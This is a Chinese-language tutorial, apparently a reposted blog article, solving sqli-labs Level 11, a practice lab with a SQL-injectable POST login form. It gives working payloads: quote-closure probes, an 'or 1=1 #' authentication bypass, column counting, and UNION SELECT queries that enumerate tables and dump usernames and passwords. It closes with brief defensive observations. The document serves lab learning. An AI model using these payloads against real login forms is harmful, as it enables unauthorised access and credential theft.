SQL注入实战:从GET到POST的思维跨越–sqli-labs第11关深度解析

admin 2026-01-05 18:00:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析SQLi-Labs第11关POST注入实战,阐述其与GET注入差异及登录场景风险。文章演示了利用Burp抓包、识别单引号闭合、通过unionselect提取数据的完整流程,并指出缺乏参数化处理等防御缺陷,帮助读者掌握从GET到POST的注入思维跨越。 综合评分: 88 文章分类: WEB安全,渗透测试,实战经验


cover_image

SQL注入实战:从GET到POST的思维跨越 – sqli-labs第11关深度解析

原创

武文学网安

武文学网安

2026年1月5日 03:42 西藏

大家好,我是武文。 在前面的学习中,我们已经从 URL 参数中的 GET 注入,一步步走到了 UNION、布尔盲注等基础阶段。

而从第 11 关开始,SQL 注入正式进入 “真实 Web 场景”: 👉 参数不再出现在 URL 中 👉 注入点隐藏在 POST 请求体 👉 攻击目标从“查询数据”变成“绕过登录”

第 11 关,是 SQL 注入学习者必须跨越的一道门槛。

一、理论篇:POST注入的本质与特殊性

1.1 POST注入与GET注入的核心差异

在sqli-labs的前10关中,我们主要与GET型注入打交道。注入参数都是在url中,如:

http://localhost:8080/Less-4/?id=-1") union select 1,2,3 --+

而11关引入的POST注入,参数隐藏在http请求体中:

GET POST关键区别:

| | | | | — | — | — | | 特性 | GET注入 | POST注入 | | 参数位置 | URL查询字符串 | HTTP请求体 | | 可见性 | 浏览器地址可见 | 不可见,需抓包 | | 长度限制 | 受URL长度限制(约2048字符) | 理论上无限制 |

正因为 POST 参数隐藏在请求体中,大量开发者在测试时忽略了对其进行安全检查,这也是 POST 型 SQL 注入在真实环境中更隐蔽、更危险的原因。

1.2 POST注入的典型场景

POST注入通常出现在:

  1. 登录表单 – 用户名/密码字段
  2. 搜索框 – 特别是高级搜索
  3. 用户注册 – 多字段提交
  4. 评论/留言 – 内容提交
  5. 文件上传 – 文件描述等字段

第11关模拟的是登录框场景,这是Web应用中最常见也最危险的注入点之一。

1.3 登录框注入的特殊性

下面是一个比较典型的登录查询语句

-- 典型的登录查询语句SELECT * FROM users WHERE username='[输入]' AND password='[输入]'

当注入发生在登录框时,我们有可能:

  1. 绕过身份验证
  2. 提取用户凭证
  3. 获取管理员权限
  4. 登录任意账户

在真实业务中,一旦登录接口存在 SQL 注入漏洞,攻击者往往无需脱库,仅通过构造逻辑条件即可直接登录管理员账户。

二、实战篇:第11关完整攻击流程

2.1 环境准备与工具配置

环境要求

  • sqli-labs 环境(自己随便搭建,虚拟机或docker均可)
  • Burp Suite Community Edition (用于捕获数据包并修改对应数据,也可用其他的工具,如hackbar,tamper-data等)
  • 浏览器(Chrome/Firefox)

burp Suite安装和使用教程在这里可以看到:https://t0data.gitbooks.io/burpsuite/content/chapter1.html

代理建议选择proxy SwtichyOmega插件。配置如下即可:

在使用代理的时候有个注意点,我们的靶场环境部署在本地,访问靶场时不能用localhost或者127.0.0.1来访问靶场,会报错。需要用本机ip地址来,具体ip地址可通过ipconfig或者ifconfig命令查看。

2.2 第一阶段:信息收集与注入点识别

步骤1:访问目标页面

我们看到一个登录页面。

步骤2:使用Burp抓取请求

  1. 开启Burp拦截(Intercept on)
  2. 在登录框输入测试数据:
  • Username: test
  • Password: test
  1. 点击Submit

4.在burpsuite中点击forward,这一步表示将拦截到的请求发送到目标服务器。

5.选中刚刚拦截的地址,发送到Repeater中,我们需要在这里更改我们的POST请求内容。

捕获的原始请求如下:

POST /Less-11/ HTTP/1.1Host: 192.168.68.172:8080Content-Length: 36Cache-Control: max-age=0Origin: http://192.168.68.172:8080Content-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://192.168.68.172:8080/Less-11/Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: keep-alive
uname=test&passwd=test&submit=Submit

其中第15行就是我们刚刚在登录界面所输入的内容:test和test。

步骤3:初步测试注入点

在Burp Repeater中修改请求,测试两个字段:

uname=test'&passwd=testuname=test&passwd=test'

观察响应:如果出现SQL错误,说明存在注入点。

可以从右边的Response看出来出现了错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”test” LIMIT 0,1′ at line 1

可以证明当前页面存在注入点。

2.3 第二阶段:确定注入类型与闭合方式

步骤4:错误信息分析

发送payload后,观察返回的错误信息:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”test” LIMIT 0,1′ at line 1

关键信息分析

  • ''test'' – 说明我们的输入被两个单引号包裹

查询可能是:

  • “` SELECT … WHERE username='[输入]’ AND password='[输入]’ LIMIT 0,1
#### 步骤5:验证闭合方式

测试不同的闭合组合:

**测试1:单引号闭合,双引号闭合**

uname=test’&passwd=testuname=test”&passwd=test

这一步可以确认我们的输入是在单引号还是双引号里。

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNK8ficWjfYb6HDzmfzxiadrIMgabF04oatWm0aNt4CFXuGib9hEzib7tzQA/640?wx_fmt=gif&from=appmsg#imgIndex=6)

单引号报错,因为我们引起了SQL语法错误。双引号不报错,说明双引号在两个单引号中间被当成字符处理了,没有引入SQL错误。

可以得出结论闭合方式为单引号闭合。

**测试2:注释符选择**

**在确认闭合方式后,必须测试注释符是否可用,因为只有成功注释掉后半条 SQL 语句,注入语句才能完整执行。**

* `--`(注意空格)
* `--+`
* `#`(URL编码为%23)

uname=test’ — &passwd=testuname=test’ –+&passwd=testuname=test’ #&passwd=testuname=test’%23&passwd=test

确认了闭合方式,我们再确认有哪些注释符生效,谁能不报错,说明哪个注释符就有效。

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNML3u6PxcKJ0aGcXqblWF0aibFNxsZG6ZvMBUaGhGEzGSFPtczutYVfg/640?wx_fmt=gif&from=appmsg#imgIndex=7)

经过测试,`-- 、#、%23
均为有效注释符`

### 2.4 第三阶段:探测与利用

#### 步骤6:确定是否有显示位

#### **测试1:绕过**登录验证

uname=test’ or 1=1 #

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNDjouBkRKhq9MJtJfONJRPAh4sh0j73Le3VsPYbGBknXZ1Eufiab9AKQ/640?wx_fmt=gif&from=appmsg#imgIndex=8)

#### 通过构造条件为真的语句,可以发现,成功登录时界面显示:

#### Your Login Name:Dumb

#### Your Password:Dumb

#### 👉 **登录成功,注入可被稳定利用。**

#### 测试2:确定查询位列数

#### 按照前面学习get注入时的经验,我们需要先确定查询位列数:

uname=test’ order by 1 #uname=test’ order by 2 #uname=test’ order by 3 #一直测试到足够多

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNKEH4USJJRbiaLeA981gicqyxzdibqQUecACGkLiaDzTIlRD2Xdsl6g3J1A/640?wx_fmt=gif&from=appmsg#imgIndex=9)

#### 我们看到在测试到3时报错,说明查询共两列。

#### 步骤7:确定显示位

#### 在上一节中,我们已经确认查询列数为 **2 列**,接下来需要确认 **哪一列的数据会被显示到页面中**。

uname=test’ union select 1,2 #

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNOdibOjwDPQqwBuZAuMtk2wngKDLb27QVK1ybAN8lqCrm8obYkU1oqng/640?wx_fmt=gif&from=appmsg#imgIndex=10)

#### 通过测试,我们可以从页面中显示我们想要的数据1,2。说明这两个都是我们的显示位,后续所有敏感数据需放在该列中读取。我们选2作为我们读取数据的显示位。

### 步骤8:获取当前数据库名

确认显示位后,我们先获取当前数据库名称:

uname=test’ union select 1,database() #

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNQnUdV5BFyvzaf20E4v63ytRaGyASCiaribbjVwE3VdOic1wYNFjk7d9hA/640?wx_fmt=gif&from=appmsg#imgIndex=11)

### 步骤9:枚举数据表

接下来通过 `information_schema` 枚举当前数据库中的表名:

uname=test’ union select 1,groupconcat(tablename)from informationschema.tableswhere tableschema=database() #

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNWbvV91NCrwibmzhlTxUdJvicjfATjSK7iaCrNfcTEeMgA2cmbtozTb59A/640?wx_fmt=gif&from=appmsg#imgIndex=12)

#### 页面返回当前数据库表:emails、referers、uagent、users

### 步骤10:枚举字段名

选择最有价值的 `users` 表,枚举其字段:

uname=test’ union select 1,groupconcat(columnname)from informationschema.columnswhere tablename=’users’ #

![](https://mmbiz.qpic.cn/mmbiz_gif/VFf46TKXLVFXicBURibEXQ1qLT1jKJWugNXibsP8lT4ZE4NezcTulrM3psglBVm8gFgVKeicmenUckIUo2ibZYSm1HQ/640?wx_fmt=gif&from=appmsg#imgIndex=13)

### 返回结果users表中包含了:id、username、password字段

### 步骤11:读取用户数据(脱库)

最后,读取用户表中的账号和密码信息:

uname=test’ union select 1,group_concat(username,0x3a,password)from users # “`

页面成功回显。至此我们已经完成了以此完整的POST型UNION SQL注入攻击流程。

三、防御视角:第 11 关暴露了什么问题?

从防御角度看,本关至少存在以下问题:

  • 用户输入未进行参数化处理
  • SQL 语句直接拼接用户输入
  • 错误信息直接回显到页面
  • 登录逻辑缺乏最基本的安全校验

任何一个点被修复,本关攻击都会失败。


四、写在最后

第 11 关并不是在考察复杂语法,而是在训练一种思维:

当参数被隐藏时,你是否还能找到它? 当页面是登录框时,你是否还能完成注入?


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安《SQL注入实战:从GET到POST的思维跨越 – sqli-labs第11关深度解析》

真刑 网络安全文章

真刑

文章总结: 该文档内容极其匮乏,仅包含网络用语、简单问候及日期地点信息,未提供任何核心技术分析、安全要点或可操作建议,不具备实质参考价值。 综合评分: 0 文章
评论:0   参与:  0